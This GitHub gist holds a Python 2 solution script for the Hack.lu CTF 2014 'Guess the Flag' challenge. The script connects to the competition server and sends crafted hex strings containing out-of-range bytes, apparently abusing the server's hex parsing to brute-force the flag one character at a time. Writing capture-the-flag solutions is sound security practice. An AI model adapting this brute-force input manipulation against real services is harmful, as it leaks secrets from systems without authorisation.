Skip to content

Instantly share code, notes, and snippets.

@yohanes
Created October 26, 2014 11:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yohanes/be4fc2753afba4369fdd to your computer and use it in GitHub Desktop.
Save yohanes/be4fc2753afba4369fdd to your computer and use it in GitHub Desktop.
HACK.LU CTF 2014: GUESS THE FLAG
#!/usr/bin/python
import socket
import struct
import time
def recv_until(st):
ret = ""
while st not in ret:
ret += s.recv(8192)
return ret
#s = socket.create_connection(("localhost", 1412))
s = socket.create_connection(("wildwildweb.fluxfingers.net", 1412))
possiblechars = "0123456789abcdef"
print recv_until("guess> ")
offset = -64
content = "ix23456789abcdef0123456789abcdef0123456789xz"
a = "flag{"+content+"}"
tosend = list(a.encode("hex"))
for i in range(5, 49):
tosend[i*2] = struct.pack("b", offset-1)
tosend[i*2+1] = struct.pack("b", offset+i)
#correct = '6974736a7573746c696b65696e7468656d6'
correct = ''
for i in range(0, len(correct)):
ch = correct[i]
chex = ch.encode("hex")
print "chex ", chex
tosend[(5+i)*2] = chex[0]
tosend[(5+i)*2+1] = chex[1]
guessindex = len(correct)
currentguess = 0
while True:
ch = possiblechars[currentguess]
chex = ch.encode("hex")
print "chex ", chex
tosend[(5+guessindex)*2] = chex[0]
tosend[(5+guessindex)*2+1] = chex[1]
ff = "".join(tosend)
print "trying ", ff
s.send(ff+"\n")
res = recv_until("guess> ")
print res
if "Nope" in res:
currentguess += 1
else:
correct += ch
print "OK ", correct
currentguess = 0
guessindex +=1
if len(correct)==44:
print correct.decode('hex')
exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment